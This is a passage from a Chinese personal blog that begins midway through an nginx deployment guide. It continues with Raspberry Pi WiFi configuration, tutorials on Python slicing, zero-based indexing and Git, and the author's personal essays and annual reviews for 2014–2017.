    nginx: the configuration file /home/deploy/local/etc/nginx.conf syntax is ok
    nginx: configuration file /home/deploy/local/etc/nginx.conf test is successful
    
  5. 运行服务:/home/deploy/local/sbin/nginx

如果一切顺利,这时,我们在浏览器中输入服务器对应的ip时就可以看到这个web app了。

添加A纪录

最后的话需要在自己的dns服务商中添加一条指向服务器ip的A距离,例如在 he.net 中添加 一条A记录即可。很快,就可以直接使用 http://rss.daozhang.info 访问这个app了。

最后

这样,我们就完成了这个server的配置。在我部署这个server的过程中,微信对应的RSS生成的解析实效了, 我觉得是因为sogou在其url中添加了一个序列,这个序列是有AES算法得出来的,并且一段时间会换一个key来 生成这个序列,所以我暂时也不知道怎么处理这个,有待进一步研究。

树莓派启动时自动连接wifi

这篇文章的目的是为了配置树莓派,使其在启动时自动获取静态IP.

启动并连接树莓派

1. 启动树莓派并找到其IP地址

把树莓派用网线连接到路由器上,插上SD卡,打开树莓派电源,等大约90秒.
在Mac上打开命令行终端,输入arp -a命令,可以看到树莓派的ip地址为 192.168.199.199. 当然也可以从路由器后台看到这个IP地址.

$ arp -a
? (169.254.99.51) at (incomplete) on en0 [ethernet]
hiwifi.lan (192.168.199.1) at d4:ee:7:20:18:6e on en0 ifscope [ethernet]
raspberrypi.lan (192.168.199.199) at f0:f6:1c:af:7a:28 on en0 ifscope [ethernet]

2. 使用SSH连接树莓派

输入“ssh pi@192.168.199.199“, 根据要求输入密码,默认为raspberry.

$ ssh pi@192.168.199.199
pi@192.168.199.199s password: 
Linux qiwihuisrpi 3.18.7+ #755 PREEMPT Thu Feb 12 17:14:31 GMT 2015 armv6l

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Apr 17 14:45:28 2015 from 192.168.199.186

配置网络连接

1. 设置网络接口文件/etc/network/interfaces

编辑这个文件:

$ sudo nano /etc/network/interfaces

添加如下内容:

auto lo
iface lo inet loopback

auto eth0
allow-hotplug eth0
iface eth0 inet dhcp

auto wlan0
allow-hotplug wlan0
iface wlan0 inet manual
# iface wlan0 inet dhcp # 如果想自动获取ip
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

# 设置静态ip
iface wlan0 inet static
address 192.168.199.199
netmask 255.255.255.0
gateway 192.168.199.1

iface default inet dhcp

2. 设置wpa_supplicant.conf配置文件

编辑文件wpa_supplicant.conf设置连接的网络热点.

$ sudo nano /etc/wpa_supplicant/wpa_supplicant.conf

为:

ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
    ssid="YOUR_NETWORK_NAME"
    psk="YOU_NETWORK_PASSWORD"
    proto=RSN
    key_mgmt=WPA-PSK
    pairwise=CCMP
    auth_alg=OPEN
}

其中:

  • proto 可以是 RSN (WPA2) 或者 WPA (WPA1).
  • key_mgmt 可以是 WPA-PSK (大部分) 或者 WPA-EAP (企业网络)
  • pairwise 可以是 CCMP (WPA2) 或者 TKIP (WPA1)
  • auth_alg 常为 OPEN, 其他可选为 LEAPSHARED

重启树莓派,之后就会自动连上wifi了.

理解python索引和切片

许多初次接触Python的人对于索引都会有同样的反应:这太奇怪了。在Python的列表,字符串和条件语句中都充斥着索引,但在我们习惯他们之前, 这些都会是我们程序的错误来源。因此,让我们硬着头皮上吧!

这片文章会写得很慢,为了解释一些基础和默认的东西。

我们会使用字符串切片举例,因为这事我们首先接触的,不过这对于列表切片和设定范围是一样的。我们有:

a = '0123456789'

其中第k个位置的字符为k。

我们使用如下方式对a进行切片:

b = a[start:stop:step]

或者直接地:

'0123456789'[start:stop:step]

在Python中,字符串和指向字符串的变量都是对象,所以都可以进行切片(事实上,Python中所有东西都是对象:数字,变量,字符串,函数,文件)。

有三件事情需要记住:

  1. start 是我们想要的第一项(当然)
  2. stop 是我们第一个不想要的项
  3. step 可以是正整数,也可以是负数,定义了向前(从第一个位置到向末尾)还是向后(从最后一个位置向开始位置)索引。

一个小提醒:但我们学习python之外其他语言的时候,stop的定义是Python索引和切片在熟悉其语言的程序员看来如此奇怪的原因之一。在大部分计算机 语言中,stop应该是“我们需要的最后一项”。不管这个定义是否比其他语言更好或者更坏,Python的确是不寻常的一种语言。

在索引中使用负数是python另一个奇怪的特性。在大部分C衍生的语言(C/C++/C#,Java,,Javascript等)中,负数索引是不合法的,因为索引表示从 字符串初始内存地址的偏移,所以负数索引会指向字符串开始位置之前的位置(更详细的请参见这篇博客: 为什么python中索引从0开始)。然而,Python并不是唯一使用负数索引的语言,比如, Perl像python一样使用负数索引来表示从字符串末尾开始的位置; R语言面向统计,A[-i]表示所有除第i位置的值。不过,只有很少的语言 在任意情况下使用负数索引。

现在让我们回到Python索引上。

** 使用正数和负数索引 **

我们可以使用正整数表示字符串中的位置,由字符串开头从0开始计数:

b = "my mistress' eyes are nothing like the sun"
     ^         ^                              ^
    b[0]      b[10]                          b[41]

我们用len()函数来获取一个字符串的长度。因此,b有42个字符,故len(b)=42。因为b最后一个字符是b[41],所以len(b)比b字符串最后位置索引多1。

有些时候这对从字符串末尾开始找字符是很有帮助的。所以我们用负数,从字符串末尾开始计数,即从-1(不是0):

b = "my mistress' eyes are nothing like the sun"
     ^         ^                              ^
   b[-42]   b[-32]                          b[-1]

从末尾看的最后一个字符串是b[-42],那么它前面的位置会是-len(b)-1 = -43。

所以,在这个例子中len(b) = 42

b[0]        = b[-len(b)] = b[-42] = 'm'
b[len(b)-1] = b[-1]      = b[41]  = 'n'
b[10]       = b[-32]              = 's'

并且一般地,

b[k]        = b[-len(b)+k]

hmm, 这很令人疑惑。我们需要了解索引的一般机制,但是,我们不需要记住这些边界值,这些是python中默认的。

默认值是引用一个变量的时候,我们没有指定明确的值。这就和我们“默认地”称呼一位女性为女士(Ms.)一样。如果我们没有被告知需要称呼她为太太(Mrs.)或者小姐(Miss),或者如果我们忽略了实际的尊称,我们降退回到“默认”值。Python对于很常用的start, stop and step都有默认值。

** 如果step是正数,我们向前移动(如果step值为空,则默认为+1)**

a[2:6] = '0123456789'[2:6:1] = '2345'

如上例,我们想要的第一个值在第二个位置,第一个不想要的在第6个位置。

更进一步,我们从字符串末尾开始看:

a[-8:-4] = '0123456789'[-8:-4:1] = '2345'

我们想要的第一个值是从后数第8个(2),第一个不想要的是从后数第4个(6)。

所以,对于任意正数step,我们有如下的默认值:

     |-> -> ->|
a = '0123456789'
     ^         ^
  start:0   stop: len(a), i.e, 超出了字符串的末尾的位置

所以:

a[:]    = a[0:len(a):1] = '0123456789' # a +1 step 默认
a[::2]  = a[0:len(a):2] = '02468'      # 所有偶数位置
a[1::2] = '13579'                      # 所有奇数位置
a[::3]  = '0369'                       # 所有3的倍数位置

所以,只要我们从字符串头部或者尾部使用切片,Python都会使用默认值。

** 如果step是负数,而我们从后往前数**

a[6:2:-1] = '0123456789'[6:2:-1] = '6543'

我们需要的第一个值在第六个位置,不需要的第一个值在第二个位置。

或者进一步,

a[-4:-8:-1] = '0123456789'[-4:-8:-1] = '6543'

我们想要的第一个值是从后数第4个(6),第一个不想要的是从后数第8个(2)。

注意到我们可以在索引中使用正数或者负数,以及从前或者从后搜寻字符串,所以我们甚至可以将它们混合起来使用:

a[6:-8:-1] = '6543'
a[-4:2:-1] = '6543'

有时候这样的混合式非常方便的:

url = '<a href="http://udacity.com">'[9:-2]
    = 'http://udacity.com'

我们需要记住的是使用负数索引不意味着我们就是向后移动,只是我们从字符串末尾开始索引。向前还是向后是仅由step变量的符号决定的。

为了向后移动,我们需要在我们的意识中反转这个字符串:

     |<- <- <-|
a = '0123456789'
    ^         ^
    ^      start:-1
stop:在字符串开始位置之前的位置

所以:

a[::-1] = a[-1::-1] = '9876543210' # 我们只是学习如何反转字符串
a[::-2] = a[-1:-len(a)-1:-2] = '97531'
a[::-3] = a[-1:-len(a)-1:-3] = '9630'

再一次,只要我们从字符串的头部或者尾部对字符串切片,我们可以使用空的start和stop变量,Python会使用默认值。

只用6个字符就反转了一个字符串,厉害吧!可惜的是这个只在Python中有用,许多其他的语言并不支持这种方式。这类问题只是用来是我们熟悉这种结构,不只是在Python中,也包括其他语言在内。因此,考虑需要反转字符串的这类问题(比如回文问题)可以让我们学习如何使用循环,索引,并且尝试不同切片来解决这些问题。这样,你就有两手准备了。


所以现在,我们已经掌握了Python的索引,应该能明白底下这些了:

'0123456789'[8:2:-2]   = '864'
'0123456789'[8:-8:-2]  = '864'
'0123456789'[-2:2:-2]  = '864'
'0123456789'[-2:-8:-2] = '864'

Good luck!

原文在这儿

为什么python中索引从0开始

在Python中字符串索引从0开始而不是从1开始是合乎逻辑的选择,因为python是用C语言写的,做为C的主要数据结构,数组是从0开始索引的。这在C中 是很基础的,以至于如果改变索引从1开始将会需要大量的工作。

** 1) 那么下一个问题:为什么在C中索引从0开始?**

C语言中的主要数据结构是数组,数组时一些相同类型元素的集合。在C中,字符串时字符数组,如果你想存储字符串“HELLO”,C会在内存中寻找一块连 续的地方存储这些字符。比如,从内存地址7000开始存储,那么这个字符串在内存中的地址就是:

7000 'H'
7001 'E'
7002 'L'
7003 'L'
7004 'O'
7005 '/0'

你可能会问:最后一个’/0’是什么?这个不是字符串“HELLO“的一部分。这个称作空值终止字符串。我们知道字符串从7000开始,但是我们不知道在哪里 结束,因此C在字符串的末尾加了一个空值使得我们遍历字符串时知道它在哪里结束。让我们再回到原来的问题。

让我们认真看一下这些字符的地址,如果我们想要这个字符串的第一个字符,我们要做的就是得到这个字符串的初始内存地址。

'H' 地址在 7000 因为字符串从 7000 开始

如果我们要字符’E’,只需要地址偏移加1:

'E' is at 7000+1

我们可以是用偏移来得到所以的字符:

'H' is at 7000 + 0
'E' is at 7000 + 1
'L' is at 7000 + 2
'L' is at 7000 + 3
'O' is at 7000 + 4

啊哈!看到了吗?我们很自然地会使得索引等于便宜,这样我们就可以找到数组中的所有元素。 如果我们赋值如下:

greeting = 'HELLO'

greeting[0] = 'H'
greeting[1] = 'E'
greeting[2] = 'L'
...

所以,这是我们问题的回答。字符从0开始索引因为这表示了相对于字符串开始位置的偏移。

** 2) 我还是认为数组的第一个元素应该从1开始,这样错了吗?**

不,一点也不。有很多语言都会设计成这样:字符串的第一个元素的位置必须为1。一个很常见的例子是Matlab,它的索引从1开始。在这个例子中, Matlab是基于Fotran的,Fotran的数组索引从1开始,所以,改变时没有意义的。

看到趋势了吗?语言往往从他们的父辈中继承许多基本的特性。由C衍生出来的语言倾向于从0开始索引,比如C++,objective C,Java,Python, Perl, Javascript和其它许多语言,看这。有Fortran衍生出来的语言则往往从1开始 所以,就像Matalb和SimScript一样。

当然,这些继承不是必须的。比如,相对于其他许多C衍生的语言,Python使用缩进来表示结构,而不是花括号。恕我直言,这很不寻常,但也不失为一个好选择, 因为为了清楚,结构里的语句也会缩进,从这点看,花括号或者其他分隔符都显得多余了。

** 3) 哪一个更好呢,从0开始还是从1开始?**

都不好。如果需要,使用另一个索引开始值也是相对简单的。然而,有一些算法自然是从0或者1开始的,没有其他的,所以对于这些情况下,在实现上略有不同。 比如,二叉查找树从1开始,所以,在Python中,我们可以使用一个从0开始的数组活着列表,然后忽略第一个元素。在这篇 博客中,其中描述了我们可以强制C中的数组 从1开始索引,以及C开发者社区是怎样收到一本趋势读者也这样做的书。

原文在这儿

Git 小结

整理自手把手教你用git.

  1. git reflog 查看历史记录的版本号id
  2. Discard:
    • git reset --hard HEAD^
    • git reset --hard HEAD~100
    • git reset --hard <one commit>
  3. git checkout -- <file>
    • 修改后,还没有放到暂存区,使用 撤销修改就回到和版本库一模一样的状态。
    • 另外一种是第一次修改已经放入暂存区了,接着又作了修改,撤销修改就回到添加暂存区后的状态。
  4. 暂存区 -> 工作区
    • git reset HEAD <file>
    • HEAD严格来说不是指向提交,而是指向master,master才是指向提交的,所以,HEAD指向的就是当前分支。
  5. push
    • git remote add origin https://github.com/username/project_name.git 关联一个远程库
    • git push –u origin master (第一次要用-u, 以后不需要)
  6. 分支管理策略:
    • 通常合并分支时,git一般使用”Fast forward”模式,在这种模式下,删除分支后,会丢掉分支信息。可以使用带参数 –no-ff来禁用”Fast forward”模式。git merge --no-ff -m "comments" <branch_name>
    • 分支策略:首先master主分支应该是非常稳定的,也就是用来发布新版本,一般情况下不允许在上面干活,干活一般情况下在新建的dev分支上干活,干完后,比如上要发布,或者说dev分支代码稳定后可以合并到主分支master上来。
  7. git stash: 可以把当前工作现场 ”隐藏起来”,等以后恢复现场后继续工作。
    • git stash list: 查看
    • 恢复:
      1. git stash apply 恢复,恢复后,stash内容并不删除,你需要使用命令git stash drop来删除。
      2. 另一种方式是使用git stash pop,恢复的同时把stash内容也删除了。
  8. 多人协作:
    • 推送分支:
      1. master分支是主分支,因此要时刻与远程同步。
      2. 一些修复bug分支不需要推送到远程去,可以先合并到主分支上,然后把主分支master推送到远程去。
    • 抓取分支:
      1. push非master分支(e.g. dev):git checkout –b dev origin/dev, edit something, git push origin dev
      2. 另一个同伴更新:git branch --set-upstream dev origin/dev, git pull, edit something, git push origin dev
    • 协作模式:
      1. 首先,可以试图用git push origin <branch-name>推送自己的修改.
      2. 如果推送失败,则因为远程分支比你的本地更新早,需要先用git pull试图合并。
      3. 如果合并有冲突,则需要解决冲突,并在本地提交。再用git push origin <branch-name>推送。
  9. delete remote branch
    • git push origin —delete <branch_name>
  10. get remote branch locally
    • git branch --set-upstream dev origin/dev

没有智能手机的第一天

在停止博客的一个多月时间里,我除了上班的五天白天,再加上周末出去爬山的两天, 剩下的时间很多都花在了我那只智能手机上,微信,QQ,G+,以及一些有节操和没节操 的应用和游戏,这一个多月的时间就这样荒芜的度过了。

直到我暂停出行的计划,更多 地和朋友接触,我才觉得,智能手机在给我带来很大方便的同时,也使得我的生活变得 狭窄,交际变得狭隘。于是我决定:离开智能手机一到两个月,就像去年手机坏掉一样。

第一天

我把手机交给了朋友保管,在微信上和QQ上留下了电话和邮箱,开始了我一个月的非智能 生活。第一天是很艰难的,尤其是在突然离开手机之后,我获取信息的方式直接转移到了 电脑,这就意味着我要很多时候开着电脑,背单词,阅读文章,收邮件等等都从手机向电 脑迁移,无可选择。

第一天计划的实施还是有点水分的,总是不自觉地拿起那台很古老的手机,打开又关闭, 才能继续回来学习工作,然后在iPad上上了一会微信,然后删了微信,整理了所有的不 需要的会上瘾的软件,这才算是正式开始了。

理了头发表决心。

计划

在接下来的一两个月的时间里,计划是这样的:

  • 单词 >100个/天,英文文章>5个/天,有扇贝网站管理。
  • linux + python + mysql
  • 《一个陌生女人的来信》+《Lovely bone》(English) + 《小王子》等
  • 锻炼: 开始我的为其50周的马拉松训练计划。
  • 健康管理: 爬,坐,走,跑……
  • 华山之行(九月份)。

目标

尽最大的诚意,但不知道何时会消失,如果可以,就不要再试一次

Seek, think then speak

“Seek, think then speak”,这是我在我的Twitter 上的签名,也是我在日常生活和工作中一个做事的基本准则。当自己得到一个消息,或者开始一个 新的任务的时候,不是下意识地就相信这个消息,开始这个任务,而是要经过这三步过程之后, 得出自己的结论,才开始行动。

Seek

探索,或者说是寻求,就是当你得到这个消息的时候,不是盲目地相信,而是先开始收集和甄别资料。 在这个信息化一直信息爆炸的时代,越来越多的误导和虚假消息充斥在我们的身边,新闻电视,媒体资讯, 社交网络,信息方便的同时也可能是误导和虚假消息滋生的温床。信息本无对错,只是当它们被少数人 利用,曲解的时候,信息的对错才开始变得有利可图。

Think

思考,结合自己的知识背景和收集到的信息,思考信息的对错,以及其中个所包含的其他有价值的信息, 这是一步非常重要的过程。善恶只在一念之间,这一念就是你的思考,你的想法。思考,可以是道理更深刻, 事物更透彻,思考的好处不言而喻,古今之集大成者,莫不是善于思考的人。

Speak

发言,又或者可以是行动(Move),就是在思考之后表达自己的见解,采取一定的行动支持这个见解, 以达到说服自己,说服别人,是别人达成对你的共识,就如同演讲家和行动派表现出来的一样。

我更喜欢诸如Twitter一类的自由开放社交工具,一个重要的原因是消息的对冲。QQ,微信之类的熟人社交, 消息相对封闭,而且熟人会弱化我们对消息的思考,又如微博,却因别有用心的控制儿失去了本来的对冲 能力。但这种情况发生的时候, “Seek,think then speak” 就变更加重要了。比如在MH370消失的三四后, 微博上开始有人谣传MH370安全返航,微博上很快澄清,儿微信圈和QQ圈就无法及时跟上,seek在这个过程 中让我没有轻易相信这这不实的信息。

Speak, 在这个容易因为言获罪的时期,发言和行动变得愈加重要。沉默是金,那是因为真理,对于非正义, speak才是真理。

《平凡的世界》与平凡的世界

我今天要去两个书店淘书,万圣园和蓝羊书坊,便就想起了去年八月读过的小说《平凡的 世界》。小说是万学教育的老师推荐的,在刚开始工作的第二个月了就发奋四个星期读完 了,时至今日已经过去快一年了,可书中的许多情节依旧历历在目。

书中的故事

《平凡的世界》讲述了以孙少安和孙少平为代表的普通人在大时代历史进程中走过的艰难 曲折的道路。时间在上个实际70到80年代,从混乱到改革开放的时期,时代的变革深刻地 影响这每一代人的命运。

哥哥少安一直在家劳动,与村支书田福堂的女儿田润叶青梅竹马,两人互有爱慕之心,却 遭到田福堂的反对,经过痛苦的煎熬,少安与山西勤劳的姑娘秀莲结婚,润叶也只能含泪 与倾慕她的李向前结婚,改革开放后,机灵的少安看到机会,先是带领生产对实施责任制, 后又进城拉砖,用赚的钱办砖窑,成为冒尖户。

少平原来在县城高中读书,毕业后回乡做了一名老师,但他没有消沉,与县革委副主任田 福军女儿田晓霞建立了友情,青春的梦想和追求也激励着他到外面去“闯荡世界”,他从漂 泊的揽工汉成为正式的建筑工人,最后又获得了当煤矿工人的好机遇,而田晓霞毕业后也 到省城成为了一名记者。在两人产生了强烈的感情时候,田晓霞却因在抗洪采访中为抢救 灾民光荣牺牲,少平悲痛不已。后来少平在一次事故中毁容,他没有被不幸压跨,重新回 到矿山迎接新的挑战。

平凡的世界里

《平凡的世界》是一部很长的小说,但是文字十分流畅,很快就可以带入我们进入这两个 在黄土高原上闪亮的两个人的故事。在那个时代变革明显的时代,个人的命运也和时代的 命运紧紧地联系在一起,与此同时,个人的追求和梦想也在一步一步地影响这他们的轨迹。 少安看准了时代的先机,少平追求不一样的外面世界,这也深深地影响他们的命运和感情。

他们的感情都有着悲剧性的一面。少安与田润叶,少平与田晓霞,最终没能在一起,甚是 惋惜。书中在许多细节上的描写令人感动,比如少平与少安相约两年之后再相见的那段, 以及少平在得知田晓霞牺牲之后的感情变化,让人心中为之而动。

我喜欢书中提到的叶赛宁的一首诗:不惋惜,不呼唤,我也不啼哭……金黄的落叶堆满我心间, 我已经不再是青春少年……

扇贝300天小记:坚持的力量

到今天,我已经在扇贝网上完成了300+天的背单词和阅读文章 , 单词量虽然不算很多,但是在这过程中的感想还是值得分享的。

我喜欢道家之数“三”,道家曰:一生二,二生三,三生万物。天下之事情有三而生,即是 刚刚开始,故而在300天左右的时候是很适合分享的。

起因和坚持的动力

背单词的最初起因里带有种愤,气愤,大体就是成为前女友眼中的“极品前任”。虽然这 在最出的几天很激励,但是这种感觉很快就消失了,之间有一段迷茫期,不知到自己为什么 背单词。直到有一天我找到了另一种坚持,一个自己一直想 去的地方:Multnomah Falls,这是在美国Oregon这州的一个瀑布,我被她绚丽的落差所折 服,有生之年不然是要前往的,虽然觉得去旅游和背单词不是很搭边,没什么联系。

就是这个,犹如在远方等待着我的少女,让我坚持到了现在:

06-multnomahfalls

方法

扇贝网是我知道的为数不多的几个背单词的网站,除了单词,还有新闻文章,书籍,以及一 起背单词的小组和论坛,这在一定程度上激励着你一直坚持背下去,小组的作用更加的明显 ,不打卡就踢人的制度很合适。对单词的单词的理解程度也完全靠自己的自觉。

感受

背单词最大的感受是你不能只背单词,只背单词如同嚼蜡,刚开始就会觉得很舒服,没有营 养又损害身体,带来的效果也很小。单词背的同时结合着文章的阅读效果是很明显的,以前 老师常说的在语境中理解单词的含义单体就是这个意思。其次是要让自己处在一种英语的氛 围中,可以用英语阅读写文章,使用英文和朋友交流,使用英文的办公环境……如此种种 ,都是很有效果的。再者,别人和自己的经验告诉我:背单词应该是意见很快乐的事情,如 果在这个过程过程中觉得很痛苦,那么是应该考虑一下自己的方法了。

李笑来在《把时间当作朋友中》中提到了背单词的方法:

在背单词的时候,事实上,在做所有类似的必须记住大量信息的工作的时候,一定要想办法 由衷地把这件事当成一件快乐的事情来做。

我的一个朋友曾跟我分享他的做法:当年他终于搞明白要拿到奖学金就得获得GRE高分的时 候,背单词量要求吓了一跳。他说,他用两天才说服自己这应该是件快乐的事情。

一共要搞定20000个单词,而因此可能获得的奖学金是40000美元左右 且连续4年没有失业的 可能,那么每个单词就值20元人民币,这还只不过是算了一年的收入而已。

所以,他终于明白背单词是很快乐的,他每天都强迫自己背下200个单词,每在确定记住了 一个单词前面画上一个勾时,他就想象一下刚刚数过一张20元人民币的钞票。每天睡觉的时 候总感觉心满意足,因为今天又赚了4000块!

在这样的坚持了300+天以后,我觉得在更多的地方都体会到了一个坚持力量(很鸡汤的一 句话),但是确实是,坚持锻炼,或者开始每天/每两天更新一千字博客。

One small story by Fan Zhang at GMIC 2014

I attended GMIC 2014 in Beijing at May 5th and May 6th. GMIC is short for Global Mobile Internet Conference, and it is a really huge conference. I just want to share a small story I heard in the conference.

0x00

In WeTalk Stage, one of the 8 stages, Fan Zhang, who is the brain behind Midi Modern Music Festival, gave us a speech: Listen to the Original Where Music is Eternal. In the speech, he shared us a song named “The Brightest Star in the Sky” of 2013 Shanghai Midi Festival (watch it here), and told us a story about the boy who was singing with tears at 2:31 in the video.

The boy met his girlfriend when they are student in college, but they got separated after graduation and went back to their own hometown. It was the first time they saw each other after 2 years. When catching this song, the boy couldn’t stop crying with mixed feeling.

This is what music means that something in your deep heart and express your real feeling, I think.

I would like to go to Midi festival the next time in Beijing, and listen to this song.

0x01

Here is the song “The Brightest Star in the Sky” in English. Hope you like it.

年度总结 - 2017年

工作:

  • 安全方向;

  • 大数据;

  • 机器学习初学:线性回归,神经网路,SVM;

  • 深度学习入门

  • 语言:Python, iOS, Go

  • 阅读/读书:非技术的书阅读较少,五本左右

  • 知识整理系统:RSS, PinBoard -> Pocket -> IFTTT -> Evernote记录,github分析

  • 开源项目,维护乏力,hiwifi-ss

  • 我的专长:

    • 数学基础:机器学习和深度学习有天然的优势
    • 我的弱点:对于做事情的热度不够持久=> 利用这点,每种学一段,交替进行
    • 情绪管理:无法控制自己的情绪对于自己工作的影响,一度不知道怎么控制自己

目标:

  • 网路自由化和安全化:RSS,翻墙,去中心化运动,网络中立

产品和实现

  1. 机器学习和深度学习
  2. Python
  3. iOS, macOS开发
  4. 架构
  5. 生活:自我认知,恋爱,惰性
  6. 情绪影响工作

年度总结 - 2016年,是忙碌而无知的一年

2016年是毕业后觉得过得最快的一年,也是至今觉得过得最快的一年。因为“忙碌“和没有思考,我在这一年过得没有目标,没有计划。

Ingress 和 Minecraft

2016年主要玩了两款游戏:Ingress 和 Minecraft(我的世界)。在Ingress上花费了很多的夜晚时间,在 Minecraft 上花费了一些周末时间。

Ingress

入坑 Ingress 已经四年,今年重新捡起,从7月到11月,我用了五个月的时间从原来的8级升到了16级(游戏等级上线),时间是2016年11月30日23点58分, 总计4,0000,000AP。16级,我的第一个念头是:Never Again,我再也不能16级了,可能再也不会半夜两三点仍然在路上活动,可能再也不会冻手冻脚地 在寒风中画图,可能再也奔波几十公里去连一条 link,可能再也不会月走路330km… 但依旧会和队友一起做刷任务,做多重。每一次升级,都是一次 never again 事情,但是这一次真的就never again 了。 Ingress 的游戏经历回想过来也是像电影一样:入坑,摸索,渐熟,AFK,归来,重拾,融入,疯狂,最后归于平静。也许之后回想起来这一段时间, 也会感叹一句:也曾经疯狂过。

P.S. 同一个号可以转阵营重置而再次16级,但是,你愿意背弃自己的信仰么?

Minecraft

我的世界很自由,所有的东西都可以自己构建,因此世界只限制于想象力。自己维护了一个 Minecraft 的服务器,和朋友共同建设了一个世界。

开源项目贡献

hiwifi-ss

我在8月1号开始维护开源项目:hiwifi-ss, 这是一个基于前人工作做的极路由翻墙插件, 主要完成了在新版本极路由上的界面更新和功能修复。因为工作和 Ingress 的原因,这个项目在10月底就暂时没有继续维护了。

还想做一些其他的项目和实现一些其他的想法,比如一个RSS在线阅读器。

学习

技能

2016年缺乏系统地学习。之前获取和记录知识的过程(书,RSS, 博客等 -> Pocket暂存 -> Evernote记录和归纳 -> 博文输出)并没有很好的实行和保持, 使得代码虽然会写,但是没有系统地去理解为什么,没有去理解怎样更好。拿搬砖来讲,只是回垒墙,还没有上升到造房子或者造更好的房子的程度。

读书

今年没有读太多的书,准确说很少,以至于在最近的一段时间明显感觉到粗口增加,思考迷茫。看的文章很碎,而且没有及时思考,使得这一年没有太多的 思想收入。

英语、日语

最近一段时间的英语学习质量也明显下降,多次任务没有认真及时完成,总体感觉能力没有提升。日语学习中断,停滞不前。

生活

生活依旧是生活。

今年喜欢上了星星,很多时间在晚上活动,很多时候熬夜到很晚不肯睡。其实这也没有什么不对。只是如无必要,不要晚睡。

2016年想去很多地方,然而总是错过,广州,深圳,杭州,上海,以及一直以来的衡山,都成为了今年的遗憾。唯一的努力是完成了十月计划而耽搁的日本之行, 第一次出国成就达成。但是计划不足和日语能力也使得这次出行有些仓促,没有达到自己的预期。

感情

逃避问题和冷漠处理问题都是感情的敌人。(来自一个人的反思)

逃避可耻且没有用。然而一个人却可以做很多事情而不需要进行顾虑太多。

社交

有很多的时间花在了刷 Twitter 上,没事了刷,吃完饭刷,中午刷,晚上刷,甚至有时走路都在刷。认识了一些新朋友,但是除了游戏和社交软件 上的对话,没有更多深入的交流了。

总结和计划

总结

计划有余而行动不足,是这一年的总结。很多事情有了开始,但是没有很好地坚持下去

2017年的计划

日拱一卒,功不唐捐。

这是以后的每一年计划的一个宗旨:至少要坚持干完一件事情!每年都想做很多事情,但可能没有时间,也可能没有精力,不期待速成,但求每天都有进步。

详:

  1. 早睡 如无必要,不许晚睡。如果没有非要第二天完成的事情,不要晚睡。睡前完成阅读任务即可。
  2. 早起 早起是一种习惯,坚持。早起之后可以做如下事情:静坐,总结前一天和活动和列举当天的任务,或者早起简单的运动。
  3. 戒咖啡 原因很简单,咖啡影响节律控制和胃。
  4. 每天阅读半小时 阅读指阅读除了技术书籍以外的书籍,每看完一本书都需要思考和总结。
  5. 每周写总结 包括工作总结和非工作总结。
  6. 每周一篇博客 技术博客或者其他内容博客,但是每月技术博客数量应该要多余其他博客数量。总结也好,记录也好,要有输出,才能进步。
  7. 每天拍一张照片 简单,但是坚持,发在 Instagram 上。

简:

  1. 技术成长。
  • 网络基础知识和操作系统知识;
  • 全栈(开发,运维,产品等)知识构建;
  • 语言:动态语言,函数语言和强类型语言;
  • 维护开源项目;
  1. 知识记录,归纳和总结:(书,RSS, 博客等 -> Pocket暂存 -> Evernote记录和归纳 -> 博文输出)
  2. 坚持锻炼身体,合理饮食。
  3. 学好日语。这是今年要坚持完成的一件事
  4. 英语不落下。
  5. 完成一次旅行,登山。
  6. 学会独处。

年度总结 - 我的2015, 做了很多事, 欠了很多债

一句话总结2015年: 做了很多事, 欠了很多债。

2015年

年初三月离开了毕业后的第一份正式工作, 七月底加入青松, 中间的四个月从迷茫焦虑, 到完成第一次知识整合和补充, 算是一次小的飞跃。 在新团队的这 半年是自己能力和知识增长最快的半年。

感谢一路陪伴的岩, 许多事情不再纠结, 更有勇气去做一件事情。

整理和输出的东西太少, Evernote 和 Pocket 上记录的文章基本未有效整理, 博客自上次更新已是半年, 这点需要改进。

个人项目上, COMICS项目, 微信RSS项目和自己的公众号(我都忘了叫啥了)相继停止了维护/更新。 开源项目基本维持在阅读和 fork 别人项目的水平上, 对开源项目的贡献不够。 自己开发和信息收集的方法工具没有整理。

2015年阅书寥寥, 《三体》和《量子物理史话》是为数不多的能记住的, 倒是知乎上迄今645万字的阅读量确实令我咋舌, 读书的质和量都有待提高。

语言能力上, 英语继续保持之前的学习量, 只是意语刚开始没多久就放弃了。

每年都会学一项不一样的技能或者挑战一件不一样的事情, 2015年一个人背包旅行了一个月, 见识了江南的风景, 新增的技能就算滑雪了。相较于之前, 2015年的技能成长 比较缓慢。

2015年半壮半胖得长了十斤, 体重达到了历史最高点, 这是一段时间失衡与调整的结果。 2016年需要停止增长, 增加体能和力量训练。

2016年目标

个人能力成长上:

  • 编程能力上, Python/Django 编程能力加强, 深入理解代码运行的底层机制;
  • 计算机基础知识的补足, 主要是网络知识和数据结构, 算法知识等;
  • 前端能力以及产品化能力;
  • 系统化知识的学习方法和框架, 增加整理和输出;
  • 利用自己掌握的资源, 建立信息收集和整合项目, 打造自己的工具。

生活上

  • 一两项新的技能, 一项自我挑战, 一张共同的愿望清单;
  • 乐观一些, 简单一些。

2015年是变革与变化, 机遇和挑战。新的一年, 新的成长, 新的奋斗, 不变的梦想!

附录一下逗比的过去:

年度总结 - 2014年的点点滴滴

在2014年还有15天就结束的时候,总结一下自己在2014年的工作生活和学习。2014年的故事比2013年少,但是琐碎的学习项目和整理多了很多。

** 学习环境 **

  • feedly: rss聚合阅读
  • Evernote: 做笔记
  • Pocket: 稍后阅读
  • Trello: 项目管理
  • blog: 知识整理和创造
  • 基本实现Windows, Ubuntu, Android, Mac, iOS平台之间数据同步

** Linux **

  • bash脚本初步
  • Arch Linux安装和基本配置
  • Raspberry Pi: LAMP
  • gunicorn使用
  • nginx入门

** Vim + Git **

  • 使用YCM
  • dotfile(e.g. .vimrc, …)备份以及工作环境快速配置
  • git以及github常用基础功能

** C **

  • 2048 in C (其实没完成)
  • PDT(a tiny card game demo) in C

** Python **

  • PDT in python
  • 初学Django
  • Virtualenv虚拟python环境
  • pip

** Web **

  • 使用Jekyll
  • github pages
  • 博客采用Markdown
  • Html5 + CSS3基础
  • OAuth 2.0
  • 全平台Cross the Great Firewall
  • Tor
  • 网络基础

